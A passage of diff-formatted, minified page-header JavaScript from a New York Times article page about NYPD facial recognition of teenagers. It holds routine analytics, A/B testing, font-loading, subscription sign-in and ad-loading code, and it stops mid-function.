+ (function () { var _f=function(e){window.vi=window.vi||{},window.vi.env=Object.freeze(e)};;_f.apply(null, [{"JKIDD_PATH":"https://a.nytimes.com/svc/nyt/data-layer","ET2_URL":"https://a.et.nytimes.com","WEDDINGS_PATH":"https://content.api.nytimes.com","GDPR_PATH":"https://us-central1-nyt-wfvi-prd.cloudfunctions.net/gdpr-email-form","RECAPTCHA_SITEKEY":"6LevSGcUAAAAAF-7fVZF05VTRiXvBDAY4vBSPaTF","ABRA_ET_URL":"//et.nytimes.com","NODE_ENV":"production","SENTRY_SAMPLE_RATE":"10","EXPERIMENTAL_ROUTE_PREFIX":"","ENVIRONMENT":"prd","RELEASE":"034494769d779a637c178f47c2096df69b7c07a4","AUTH_HOST":"https://myaccount.nytimes.com","SWG_PUBLICATION_ID":"nytimes.com","GQL_FETCH_TIMEOUT":"4000"}]); })();;
+ !function(){if('PerformanceLongTaskTiming' in window){var g=window.__tti={e:[]};
+ g.o=new PerformanceObserver(function(l){g.e=g.e.concat(l.getEntries())});
+ g.o.observe({entryTypes:['longtask']})}}();
+;
+ !function(n,e){var t,o,i,c=[],f={passive:!0,capture:!0},r=new Date,a="pointerup",u="pointercancel";function p(n,c){t||(t=c,o=n,i=new Date,w(e),s())}function s(){o>=0&&o<i-r&&(c.forEach(function(n){n(o,t)}),c=[])}function l(t){if(t.cancelable){var o=(t.timeStamp>1e12?new Date:performance.now())-t.timeStamp;"pointerdown"==t.type?function(t,o){function i(){p(t,o),r()}function c(){r()}function r(){e(a,i,f),e(u,c,f)}n(a,i,f),n(u,c,f)}(o,t):p(o,t)}}function w(n){["click","mousedown","keydown","touchstart","pointerdown"].forEach(function(e){n(e,l,f)})}w(n),self.perfMetrics=self.perfMetrics||{},self.perfMetrics.onFirstInputDelay=function(n){c.push(n),s()}}(addEventListener,removeEventListener);
+;try {
+ var observer = new window.PerformanceObserver(function (list) {
+ var entries = list.getEntries();
+
+ for (var i = 0; i < entries.length; i += 1) {
+ var entry = entries[i];
+ var performance = {};
+
+ performance[entry.name] = Math.round(entry.startTime + entry.duration);
+ (window.dataLayer = window.dataLayer || []).push({
+ event: "performance",
+ pageview: {
+ performance: performance
+ }
+ });
+ }
+ });
+ observer.observe({
+ entryTypes: ["paint"]
+ });
+} catch (e) {};
+!function(i,e){var a,s,c,p,u,g=[],
+l="object"==typeof i.navigator&&"string"==typeof i.navigator.userAgent&&/iP(ad|hone|od)/.test(
+i.navigator.userAgent),f="object"==typeof i.navigator&&i.navigator.sendBeacon,
+y=f?l?"xhr_ios":"beacon":"xhr";function d(){var e,t,n=i.crypto||i.msCrypto;if(n)t=n.getRandomValues(
+new Uint8Array(18));else for(t=[];t.length<18;)t.push(256*Math.random()^255&(e=e||+new Date)),
+e=Math.floor(e/256);return btoa(String.fromCharCode.apply(String,t)).replace(/\+/g,"-").replace(
+/\//g,"_")}if(i.nyt_et)try{console.warn("et2 snippet should only load once per page")}catch(e
+){}else i.nyt_et=function(){var e,t,n,o=arguments;function r(r){g.length&&(function(e,t,n){if(
+"beacon"===y||f&&r)return i.navigator.sendBeacon(e,t)
+;var o="undefined"!=typeof XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP")
+;o.open("POST",e),o.withCredentials=!0,o.setRequestHeader("Accept","*/*"),
+"string"==typeof t?o.setRequestHeader("Content-Type","text/plain;charset=UTF-8"
+):"[object Blob]"==={}.toString.call(t)&&t.type&&o.setRequestHeader("Content-Type",t.type);try{
+o.send(t)}catch(e){}}(a+"/track",JSON.stringify(g)),g.length=0,clearTimeout(u),u=null)}if(
+"string"==typeof o[0]&&/init/.test(o[0])&&(c=d(),"init"==o[0]&&!s)){if(s=d(),
+"string"!=typeof o[1]||!/^http/.test(o[1]))throw new Error("init must include an et host url")
+;a=String(o[1]).replace(/\/$/,""),"string"==typeof o[2]&&(p=o[2])}n="page_exit"==(e=o[o.length-1]
+).subject||"ob_click"==(e.eventData||{}).type,a&&"object"==typeof e&&(t="page"==e.subject?c:d(),
+e.sourceApp&&(p=e.sourceApp),e.sourceApp=p,g.push({context_id:s,pageview_id:c,event_id:t,
+client_lib:"v1.0.5",sourceApp:p,how:n&&l&&f?"beacon_ios":y,client_ts:+new Date,data:JSON.parse(
+JSON.stringify(e))}),"send"==o[0]||t==c||n?r(n):u||(u=setTimeout(r,5500)))},
+i.nyt_et.get_pageview_id=function(){return c}}(window);
+;
+var NYTD=NYTD||{};NYTD.Abra=function(t){"use strict";function e(t){var e=r[t];return e&&e[1]||null}function n(t,e){if(t){var n,r,o=e[0],i=e[1],c=0,u=0;if(1!==i.length||4294967296!==i[0])for(n=a(t+" "+o)>>>0,c=0,u=0;r=i[c++];)if(n<(u+=r[0]))return r}}function a(t){for(var e,n,a,r,o,i,c,u=0,h=0,l=[],s=[e=1732584193,n=4023233417,~e,~n,3285377520],f=[],p=t.length;h<=p;)f[h>>2]|=(h<p?t.charCodeAt(h):128)<<8*(3-h++%4);for(f[c=p+8>>2|15]=p<<3;u<=c;u+=16){for(e=s,h=0;h<80;e=[0|[(i=((t=e[0])<<5|t>>>27)+e[4]+(l[h]=h<16?~~f[u+h]:i<<1|i>>>31)+1518500249)+((n=e[1])&(a=e[2])|~n&(r=e[3])),o=i+(n^a^r)+341275144,i+(n&a|n&r|a&r)+882459459,o+1535694389][0|h++/20],t,n<<30|n>>>2,a,r])i=l[h-3]^l[h-8]^l[h-14]^l[h-16];for(h=5;h;)s[--h]=s[h]+e[h]|0}return s[0]}var r,o={};return t.dataLayer=t.dataLayer||[],e.init=function(e){var a,o,i,c,u,h,l,s,f,p,d=[],v=[],m=(t.document.cookie.match(/(?:^|;) *nyt-a=([^;]*)/)||[])[1],b=(t.document.cookie.match(/(?:^|;) *ab7=([^;]*)/)||[])[1],g=(t.location.search.match(/(?:^\?|&)abra=([^&]*)/)||[])[1];if(r)throw new Error("can't init twice");for(r={},u=(decodeURIComponent(b||"")+"&"+decodeURIComponent(g||"")).split("&"),a=u.length-1;a>=0;a--)h=u[a].split("="),h.length<2||(l=h[0])&&!r[l]&&(s=h[1]||null,r[l]=[,s,1],s&&d.push(l+"="+s),v.push({test:l,variant:s||"0"}));for(a=0;a<e.length;a++)i=e[a],(o=i[0])in r||(c=n(m,i)||[],c[0],f=c[1],p=!!c[2],r[o]=c,f&&d.push(o.replace(/[^\w-]/g)+"="+(""+f).replace(/[^\w-]/g)),p&&v.push({test:o,variant:f||"0"}));d.length&&t.document.documentElement.setAttribute("data-nyt-ab",d.join(" ")),v.length&&t.dataLayer.push({event:"ab-alloc",abtest:{batch:v}})},e.reportExposure=function(e,n){if(!o[e]){o[e]=1;var a=r[e];if(a){var i=a[1];a[2]&&t.dataLayer.push({event:"ab-expose",abtest:{test:e,variant:i||"0"}})}n&&t.setTimeout(function(){n(null)},0)}},e}(this);
+;(function () { var NYTD=window.NYTD||{};function setupTimeZone(){var e='[data-timezone][data-timezone~="'+(new Date).getHours()+'"] { display: block }',t=document.createElement("style");t.innerHTML=e,document.head.appendChild(t)}function addNYTAppClass(){var e=window.navigator.userAgent||window.navigator.vendor||window.opera,t=-1!==e.indexOf("nyt_android"),n=-1!==e.indexOf("nytios");(t||n)&&document.documentElement.classList.add("NYTApp")}function setupPageViewId(){NYTD.PageViewId={},NYTD.PageViewId.update=function(){return"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?(window.nyt_et("pageinit"),NYTD.PageViewId.current=window.nyt_et.get_pageview_id()):NYTD.PageViewId.current="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),NYTD.PageViewId.current}}var _f=function(e){try{document.domain="nytimes.com"}catch(e){}window.swgUserInfoXhrObject=new XMLHttpRequest,window.__emotion=e.emotionIds,setupPageViewId(),setupTimeZone(),addNYTAppClass(),window.nyt_et("init",vi.env.ET2_URL,"nyt-vi",{subject:"page",canonicalUrl:(document.querySelector("link[rel=canonical]")||{}).href,articleId:(document.querySelector("meta[name=articleid]")||{}).content,nyt_uri:(document.querySelector("meta[name=nyt_uri]")||{}).content,pubpEventId:(document.querySelector("meta[name=pubp_event_id]")||{}).content,url:location.href,referrer:document.referrer||void 0,client_tz_offset:(new Date).getTimezoneOffset()}),"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?NYTD.PageViewId.current=window.nyt_et.get_pageview_id():NYTD.PageViewId.update(),NYTD.Abra.init(e.abraConfig,vi.env.ABRA_ET_URL)};;_f.apply(null, [{"emotionIds":["0","1dv1kvn","v89234","nuvmzp","1gz70xg","9e9ivx","2bwtzy","1hyfx7x","6n7j50","1kj7lfb","10m9xeu","vz7hjd","1fe7a5q","1rn5q1r","10488qs","1iruc8t","1ropbjl","uw59u","jxzr5i","oylsik","1otr2jl","1c8n994","qtw155","v0l3hm","g4gku8","1rr4qq7","6xhk3s","rxqrcl","tj0ten","ist4u3","1gprdgz","10t7hia","mzqdl","kwpx34","1k2cjfc","1vhk1ks","6td9kr","r5ic95","15uy5yv","1p8nkc0","5j8bii","1am0aiv","1g7m0tk","d8bdto","y8aj3r","60hakz","i29ckm","acwcvw","1baulvz","f8wsfj","mhvv8m","m6999o","i9gxme","1m9j9gf","1sy8kpn","19vbshk","l9onyx","79elbk","1q1yk17","g7rb99","k008qs","bsn42l","11cwn6f","ghw4n2","1c5cfvc","htgkrt","e64et","9zaqp9","16fq4rz","1kjk1j2","88g286","12yx39b","4hu8jm","1wqz2f4","yl3z84","1q3gjvc","nc39ev","amd09y","ru1vxe","ajnadh","1ri25x2","12fr9lp","1hfdzay","4g4cvq","m6xlts","1ahhg7f","fwqvlz","17xtcya","x15j1o","1705lsu","1iwv8en","b7n1on","1b9egsl","1rj8to8","4w91ra","wg1cha","1ubp8k9","1egl8em","vdv0al","1i2y565","o6xoe7","1fanzo5","53u6y8","1m50asq","z3e15g","uwwqev","1ly73wi","7y3qfv","l72opv","4skfbu","1fcn4th","13zu7ev","f7l8cz","16ogagc","17ai7jg","8i9d0s","1nwzsjy","10698na","nhjhh0","1nuro5j","1w5cs23","4brsb6","uhuo44","exrw3m","1a48zt4","1xdhyk6","vuqh7u","1l44abu","jcw7oy","10raysz","ar1l6a","1ede5it","mn5hq9","1qmnftd","1ho5u4o","13o0c9t","1yo489b","ulr03x","1bymuyk","1waixk9","1f7ibof","l2ztic","19lv58h","mgtjo2","1wr3we4","y3sf94","1bnxwmn","1i8g3m4","3qijnq","uqyvli","1uqjmks","1bvtpon","1vxca1d","1vkm6nb","1ox9jel","1riqqik","2fg4z9","11n4cex","1ifw933","1rjmmt7","rqb9bm","19hdyf3","15g2oxy","2b3w4o","14b9hti","1j8dw05","1vm5oi9","32rbo2","llk6mt","1s4ffep","pdw9fk","1txwxcy","1soubk3"],"abraConfig":[["vi-ads-et",[[257698038,"2_remainder",1],[4037269258,null,0]]],["messaging-optimizely",[[4294967296,"1",0]]],["dfp_adslot4v2",[[4294967296,"1_external",1]]],["DFP_als",[[4294967296,"1_als",1]]],["DFP_als_home",[[214748365,"1_als",1],[214748365,"1_als",1],[429496730,"1_als",1],[429496729,"1_als",1],[858993459,"1_als",1],[1073741824,"1_als",1],[1073741824,null,0]]],["medianet_toggle",[[4294967296,"0_default",0]]],["amazon_toggle",[[4294967296,null,0]]],["index_toggle",[[4294967296,"1_block",0]]],["dfp_home_toggle",[[4294967296,null,0]]],["dfp_story_toggle",[[4294967296,null,0]]],["dfp_interactive_toggle",[[4294967296,null,0]]],["FREEX_Best_In_Show",[[2147483648,"0_Control",1],[2147483648,"1_Best",1]]],["MKT_dfp_ocean_language",[[2147483648,"0_control",1],[2147483648,"1_language",1]]],["MC_magnolia_0519",[[4294967296,"1_magnolia",1]]],["STORY_topical_recirc",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["HOME_timesExclusive",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["ON_daily_digest_NL_0719",[[644245095,"0_control",1],[644245094,"1_daily_digest",1],[3006477107,null,0]]],["HOME_discovery_automation",[[2147483648,"0_control",1],[2147483648,"1_automation",1]]],["MKT_GateDockMsgTap",[[1431655766,"0_control",1],[1431655765,"2_BAUDockTapGate",1],[1431655765,"4_BAUDockRBGate",1]]],["FREEX_RegiWall_Messaging",[[214748365,"0_Control",1],[214748365,"1_Continue_Reading",1],[214748365,"2_For_Free",1],[214748365,"3_Keep_Reading",1],[214748364,"4_Continue_Reading_NoHeader",1],[214748365,"5_For_Free_NoHeader",1],[214748365,"6_Keep_Reading_NoHeader",1],[858993459,"0_Control",1],[858993459,"6_Keep_Reading_NoHeader",1],[1073741824,null,0]]],["MC_briefing_bar_anon_test_0519",[[1431655766,"0_control",1],[1431655765,"1_subscribe",1],[1431655765,"2_regi",1]]],["MC_briefing_bar_regi_test_0519",[[2147483648,"0_control",1],[2147483648,"1_subscribe",1]]],["SEARCH_FACET_DROPDOWN",[[2147483648,"0_FACET_MULTI_SELECT",1],[2147483648,"1_DYNAMIC_FACET_SELECT",1]]],["VG_gift_upsell_x_only",[[429496730,"0_control",1],[3865470566,"1_upsell",1]]],["ON_allocator_0719",[[356482286,"ON_login_interrupt_0819-0_control",0],[356482286,"ON_login_interrupt_0819-1_app_experience",0],[356482285,"ON_login_interrupt_0819-2_login_value",0],[356482286,"ON_login_interrupt_0819-3_login_return",0],[356482285,"ON_app_dl_getstarted_0819-0_control",0],[356482286,"ON_app_dl_getstarted_0819-1_appExperience",0],[356482285,"ON_app_dl_getstarted_0819-2_bestApp",0],[356482286,"ON_app_dl_getstarted_0819-3_magicLink",0],[236223201,"ON_app_dl_mc4-6_0819-0_control",0],[236223202,"ON_app_dl_mc4-6_0819-1_dockTrunc",0],[236223201,"ON_app_dl_mc4-6_0819-2_newDock",0],[236223201,"ON_app_dl_mc4-6_0819-3_stdNew",0],[236223201,"ON_app_dl_mc4-6_0819-4_stdDockTrunc",0],[236223202,"ON_app_dl_mc4-6_0819-5_truncator",0],[25769803,null,0]]],["MKT_dfp_ocean_bundle_light",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_design_light",1]]],["MKT_dfp_ocean_bundle_family",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_family",1]]],["HL_sample",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006614214",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006641840",[[2147483648,"0",1],[2147483648,"1",1]]]]}]); })();;(function () { var _f=function(e){var r=function(){var r=e.url;try{r+=window.location.search.slice(1).split("&").reduce(function(e,r){return"ip-override"===r.split("=")[0]?"?"+r:e},"")}catch(e){console.warn(e)}var n=new XMLHttpRequest;for(var t in n.withCredentials=!0,n.open("POST",r,!0),n.setRequestHeader("Content-Type","application/json"),e.headers)n.setRequestHeader(t,e.headers[t]);return n.send(e.body),n};window.userXhrObject=r(),window.userXhrRefresh=function(){return window.userXhrObject=r(),window.userXhrObject}};;_f.apply(null, [{"url":"https://samizdat-graphql.nytimes.com/graphql/v2","body":"{\"operationName\":\"UserQuery\",\"variables\":{},\"query\":\" query UserQuery { user { __typename profile { displayName } userInfo { regiId entitlements demographics { emailSubscriptions wat bundleSubscriptions { bundle inGrace promotion source } } } subscriptionDetails { graceStartDate graceEndDate isFreeTrial hasQueuedSub startDate endDate status entitlements } } } \"}","headers":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+/oUCTBmD/cLdmcecrnBMHiU/pxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"}}]); })();;100*Math.random()<=vi.env.SENTRY_SAMPLE_RATE?(window.INSTALL_RAVEN=!0,window.nyt_errors={ravenInstalled:!1,list:[],tags:[]},window.onerror=function(n,r,o,w,i){if(!window.nyt_errors.ravenInstalled){var t={err:i,data:{}};window.nyt_errors.list.push(t)}}):window.INSTALL_RAVEN=!1;;(function () { var _f=function(t,e,n){var a=window,A=document,o=function(t){var e=A.createElement("style");e.appendChild(A.createTextNode(t)),A.querySelector("head").appendChild(e)},r=function(t,e,n,a,A){var r=new XMLHttpRequest;r.open("GET",t,!0),r.onreadystatechange=function(){if(4===r.readyState&&200===r.status){o(r.responseText);try{localStorage.setItem("nyt-fontFormat",e),localStorage.setItem(a,n)}catch(t){return}localStorage.setItem(A,r.responseText)}return!0},r.send(null)},c=function(e,n){var A;try{A=localStorage.getItem("nyt-fontFormat")}catch(t){}A||(A=function(){if(!("FontFace"in a))return!1;var t=new FontFace("t",'url("data:application/font-woff2;base64,d09GMgABAAAAAADcAAoAAAAAAggAAACWAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAABk4ALAoUNAE2AiQDCAsGAAQgBSAHIBtvAcieB3aD8wURQ+TZazbRE9HvF5vde4KCYGhiCgq/NKPF0i6UIsZynbP+Xi9Ng+XLbNlmNz/xIBBqq61FIQRJhC/+QA/08PJQJ3sK5TZFMlWzC/iK5GUN40psgqvxwBjBOg6JUSJ7ewyKE2AAaXZrfUB4v+hze37ugJ9d+DeYqiDwVgCawviwVFGnuttkLqIMGivmDg") format("woff2")',{});return t.load().catch(function(){}),"loading"==t.status||"loaded"==t.status}()?"woff2":"woff");for(var c=0;c<e.length;c++){var i=e[c],l="shared"!==i?"-"+i:"",d="nyt-fontHash"+l,s="nyt-fontFace"+l,f=t[i][A],u=localStorage.getItem(d),g=localStorage.getItem(s);if(u===f.hash&&g)o(g);else{var h=function(t,e,n,a,A){return function(){r(t,e,n,a,A)}}(f.url,A,f.hash,d,s);n?h():document.addEventListener("DOMContentLoaded",h)}}};c(e),window.addEventListener("load",function(){c(n,!0)})};;_f.apply(null, [{"shared":{"woff":{"hash":"f2adc73415c5bbb437e993c14559e70e","url":"/vi-assets/static-assets/shared-woff.fonts-f2adc73415c5bbb437e993c14559e70e.css"},"woff2":{"hash":"22b34a6a6fd840943496b658184afdd3","url":"/vi-assets/static-assets/shared-woff2.fonts-22b34a6a6fd840943496b658184afdd3.css"}},"story":{"woff":{"hash":"3c668927c32fbefb440b4024d5da6351","url":"/vi-assets/static-assets/story-woff.fonts-3c668927c32fbefb440b4024d5da6351.css"},"woff2":{"hash":"acec1a902e1795b20a0204af82726cd2","url":"/vi-assets/static-assets/story-woff2.fonts-acec1a902e1795b20a0204af82726cd2.css"}},"opinion":{"woff":{"hash":"dfc5106c9c0aaa76688687e664474b04","url":"/vi-assets/static-assets/opinion-woff.fonts-dfc5106c9c0aaa76688687e664474b04.css"},"woff2":{"hash":"e2b27ff317927dfd77bdd429409627e0","url":"/vi-assets/static-assets/opinion-woff2.fonts-e2b27ff317927dfd77bdd429409627e0.css"}},"tmag":{"woff":{"hash":"4634f3c7ddebb9113b69d4578d9a0ba0","url":"/vi-assets/static-assets/tmag-woff.fonts-4634f3c7ddebb9113b69d4578d9a0ba0.css"},"woff2":{"hash":"8622c93c260fa93b229b7249df708fb1","url":"/vi-assets/static-assets/tmag-woff2.fonts-8622c93c260fa93b229b7249df708fb1.css"}},"mag":{"woff":{"hash":"109e6d301ed49c8078086b5892696adf","url":"/vi-assets/static-assets/mag-woff.fonts-109e6d301ed49c8078086b5892696adf.css"},"woff2":{"hash":"fb42c728dc70cc4ef6010a60cb10b0bd","url":"/vi-assets/static-assets/mag-woff2.fonts-fb42c728dc70cc4ef6010a60cb10b0bd.css"}},"well":{"woff":{"hash":"f0e613b89006e99b4622d88aa5563a81","url":"/vi-assets/static-assets/well-woff.fonts-f0e613b89006e99b4622d88aa5563a81.css"},"woff2":{"hash":"77806b85de524283fe742b916c9d0ee4","url":"/vi-assets/static-assets/well-woff2.fonts-77806b85de524283fe742b916c9d0ee4.css"}}},["shared","story"],["opinion","tmag","mag","well"]]); })();;(function () { function swgDataLayer(e){return!!window.dataLayer&&((window.dataLayer=window.dataLayer||[]).push({event:"impression",module:e}),!0)}function checkSwgOptOut(){if(!window.localStorage)return!1;var e=window.localStorage.getItem("nyt-swgOptOut");if(!e)return!1;var t=parseInt(e,10);return((new Date).getTime()-t)/864e5<1||(window.localStorage.removeItem("nyt-swgOptOut"),!1)}function swgDeferredAccount(e,t){return e.completeDeferredAccountCreation({entitlements:t,consent:!1}).then(function(e){var t=vi.env.AUTH_HOST+"/svc/account/auth/v1/swg-dal-web",n=e.purchaseData.raw.data?e.purchaseData.raw.data:e.purchaseData.raw,o=JSON.parse(n),a={package_name:o.packageName,product_id:o.productId,purchase_token:o.purchaseToken,google_id_token:e.userData.idToken,google_user_email:e.userData.email,google_user_id:e.userData.id,google_user_name:e.userData.name},r=new XMLHttpRequest;r.withCredentials=!0,r.open("POST",t,!0),r.setRequestHeader("Content-Type","application/json"),r.send(JSON.stringify(a)),r.onload=function(){200===r.status?(swgDataLayer({name:"swg",context:"Deferred",label:"Seamless Signin",region:"swg-modal"}),e.complete().then(function(){window.location.reload(!0)})):(e.complete(),window.location=encodeURI(vi.env.AUTH_HOST+"/get-started/swg-link?redirect="+window.location.href))}}).catch(function(){return!!window.localStorage&&(!window.localStorage.getItem("nyt-swgOptOut")&&(window.localStorage.setItem("nyt-swgOptOut",(new Date).getTime()),!0))}),!0}function loginWithGoogle(){return"undefined"!=typeof window&&(-1===document.cookie.indexOf("NYT-S")&&(!0!==checkSwgOptOut()&&(!!window.SWG&&((window.SWG=window.SWG||[]).push(function(e){return e.init(vi.env.SWG_PUBLICATION_ID),e.getEntitlements().then(function(t){if(void 0===t||!t.raw)return!1;var n={entitlements_token:t.raw};return window.swgUserInfoXhrObject.withCredentials=!0,window.swgUserInfoXhrObject.open("POST",vi.env.AUTH_HOST+"/svc/account/auth/v1/login-swg-web",!0),window.swgUserInfoXhrObject.setRequestHeader("Content-Type","application/json"),window.swgUserInfoXhrObject.send(JSON.stringify(n)),window.swgUserInfoXhrObject.onload=function(){switch(window.swgUserInfoXhrObject.status){case 200:return swgDataLayer({name:"swg",context:"Seamless",label:"Seamless Signin",region:"login"}),window.location.reload(!0),!0;case 412:return swgDeferredAccount(e,t);default:return!1}},t}).catch(function(){return!1}),!0}),!0))))}var _f=function(){if(window.swgUserInfoXhrObject.checkSwgResponse=!1,-1===document.cookie.indexOf("NYT-S")){var e=document.createElement("script");e.src="https://news.google.com/swg/js/v1/swg.js",e.setAttribute("subscriptions-control","manual"),e.setAttribute("async",!0),e.onload=function(){loginWithGoogle()},document.getElementsByTagName("head")[0].appendChild(e)}};;_f.apply(null, []); })();
+ </script>
+
+ <link data-rh="true" rel="shortcut icon" href="/vi-assets/static-assets/favicon-4bf96cb6a1093748bf5b3c429accb9b4.ico"/><link data-rh="true" rel="apple-touch-icon" href="/vi-assets/static-assets/apple-touch-icon-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="144×144" href="/vi-assets/static-assets/ios-ipad-144x144-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="114×114" href="/vi-assets/static-assets/ios-iphone-114x144-61d373c43aa8365d3940c5f1135f4597.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" href="/vi-assets/static-assets/ios-default-homescreen-57x57-7cccbfb151c7db793e92ea58c30b9e72.png"/><link data-rh="true" rel="alternate" itemprop="mainEntityOfPage" hrefLang="en-US" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="canonical" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="alternate" href="android-app://com.nytimes.android/nytimes/reader/id/100000006583622"/><link data-rh="true" rel="amphtml" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.amp.html"/><link data-rh="true" rel="alternate" type="application/json+oembed" href="https://www.nytimes.com/svc/oembed/json/?url=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" title="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/>
+ <script data-rh="true" >
+ if (typeof testCookie === 'undefined') {
+ var testCookie = function (name) {
+ var match = document.cookie.match(new RegExp(name + '=([^;]+)'));
+ if (match) return match[1];
+ }
+ }
+</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ if (testCookie('nyt-gdpr') !== '1') {
+ var gptScript = document.createElement('script');
+ gptScript.async = 'async';
+ gptScript.src = '//securepubads.g.doubleclick.net/tag/js/gpt.js';
+ document.head.appendChild(gptScript);
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ var googletag = googletag || {};
+ googletag.cmd = googletag.cmd || [];
+
+ if (testCookie('nyt-gdpr') == '1') {
+ googletag.cmd.push(function() {
+ googletag.pubads().setRequestNonPersonalizedAds(1);
+ });
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+ (function () { var _f=function(){var t,e,o=50,n=50;function i(t){if(!document.getElementById("3pCheckIframeId")){if(t||(t=1),!document.body){if(t>o)return;return t+=1,setTimeout(i.bind(null,t),n)}var e,a,r;e="https://static01.nyt.com/ads/tpc-check.html",a=document.body,(r=document.createElement("iframe")).src=e,r.id="3pCheckIframeId",r.style="display:none;",r.height=0,r.width=0,a.insertBefore(r,a.firstChild)}}function a(t){if("https://static01.nyt.com"===t.origin)try{"3PCookieSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","true")}),"3PCookieNotSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","false")})}catch(t){}}function r(){if(function(){if(Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor")>0)return!0;if("[object SafariRemoteNotification]"===(!window.safari||safari.pushNotification).toString())return!0;try{return window.localStorage&&/Safari/.test(window.navigator.userAgent)}catch(t){return!1}}()){try{window.openDatabase(null,null,null,null)}catch(e){return t(),!0}try{localStorage.length?e():(localStorage.x=1,localStorage.removeItem("x"),e())}catch(o){navigator.cookieEnabled?t():e()}return!0}}!function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","unknown")})}catch(t){}}(),t=function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","private")})}catch(t){}}||function(){},e=function(){window.addEventListener("message",a,!1),i(0)}||function(){},function(){if(window.webkitRequestFileSystem)return window.webkitRequestFileSystem(window.TEMPORARY,1,e,t),!0}()||r()||function(){if(!window.indexedDB&&(window.PointerEvent||window.MSPointerEvent))return t(),!0}()||e()};;_f.apply(null, []); })();
+ }</script><script data-rh="true" >(function() {
+ var AdSlot4=function(){"use strict";function D(n,i,o){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");i&&(e.onload=i),o&&(e.onerror=o),e.src=n,e.async=!0,t.appendChild(e)}return function(){var A=window.AdSlot4||{};A.cmd=A.cmd||[];var b=!1;if(A.loadScripts)return A;function z(t){"art, oak"!==t&&"art,oak"!==t||(t="art"),A.cmd.push(function(){A.events.subscribe({name:"AdDefined",scope:"all",callback:function(n){var o,i=[-1];n.sizes.forEach(function(n){n[0]<window.innerWidth&&n[0]>i[0]&&(i=[]).push(n)}),i[0][1]&&window.apstag.fetchBids({slots:[{slotID:n.id,slotName:"".concat(n.id,"_").concat(t,"_web"),sizes:(o=i[0][1],Array.isArray(o)?[[300,250],[728,90],[970,90],[970,250]].filter(function(i){return o.some(function(n){return n[0]===i[0]&&n[1]===i[1]})}):(console.warn("filterSizes() did not receive an array"),[]))}]},function(){window.googletag.cmd.push(function(){window.apstag.setDisplayBids()})})}})})}return A.loadScripts=function(n){var i,o,t,e,d,a,c,s,r=n||{},w=r.loadMnet,u=void 0===w||w,l=r.loadAmazon,p=void 0===l||l,f=r.loadBait,m=void 0===f||f,v=r.section,g=void 0===v?"none":v,h=r.pageViewId,y=void 0===h?"":h,B=r.pageType,x=void 0===B?"":B;b||("1"===(c="nyt-gdpr",(s=document.cookie.match(new RegExp("".concat(c,"=([^;]+)"))))?s[1]:"")||(d=document.referrer||"",(a=/([a-zA-Z0-9_\-.]+)(@|%40)([a-zA-Z0-9_\-.]+).([a-zA-Z]{2,5})/).test(d)||a.test(window.location.href))||(!u||window.advBidxc&&window.advBidxc.isLoaded||(t=y,e="8CU2553YN",window.innerWidth<740&&(e="8CULO58R6"),D("https://contextual.media.net/bidexchange.js?cid=".concat(e,"&dn=").concat("www.nytimes.com","&https=1"),function(){window.advBidxc&&window.advBidxc.isLoaded||console.warn("Media.net not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"Mnet"}})})}),window.advBidxc=window.advBidxc||{},window.advBidxc.renderAd=function(){},window.advBidxc.startTime=(new Date).getTime(),window.advBidxc.customerId={mediaNetCID:e},window.advBidxc.misc={isGptDisabled:1},t&&(window.advBidxc.misc.keywords=t)),p&&!window.apstag&&(i=g,o=x,function(o,t){function 